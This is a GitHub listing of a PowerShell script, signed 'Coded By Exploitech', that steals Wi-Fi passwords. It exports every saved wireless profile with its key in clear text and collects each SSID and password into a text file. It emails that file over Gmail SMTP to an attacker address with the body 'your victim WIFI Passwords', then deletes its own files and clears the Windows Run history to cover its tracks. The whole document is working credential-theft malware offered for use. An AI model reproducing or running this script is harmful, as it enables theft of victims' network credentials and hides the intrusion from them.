-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathtemp.PS1
48 lines (22 loc) · 1.17 KB
/
temp.PS1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
netsh wlan export profile key=clear
echo "Wifi Password Extractor Coded By Exploitech" > wifipass.txt
dir *.xml |% {
$xml=[xml] (get-content $_)
$a= "========================================`r`n SSID = "+$xml.WLANProfile.SSIDConfig.SSID.name + "`r`n PASS = " +$xml.WLANProfile.MSM.Security.sharedKey.keymaterial
Out-File wifipass.txt -Append -InputObject $a
}
$SMTPServer = 'smtp.gmail.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'password')
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = '[email protected]'
$ReportEmail.To.Add('[email protected]')
$ReportEmail.Subject = 'WIFI Pass Report of ' + $env:UserName
$ReportEmail.Body = 'Attached is your victim WIFI Passwords'
$ReportEmail.Attachments.Add('wifipass.txt')
$SMTPInfo.Send($ReportEmail)
rm *.xml -Force
rm w.txt -Force
rm w.PS1 -Force
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue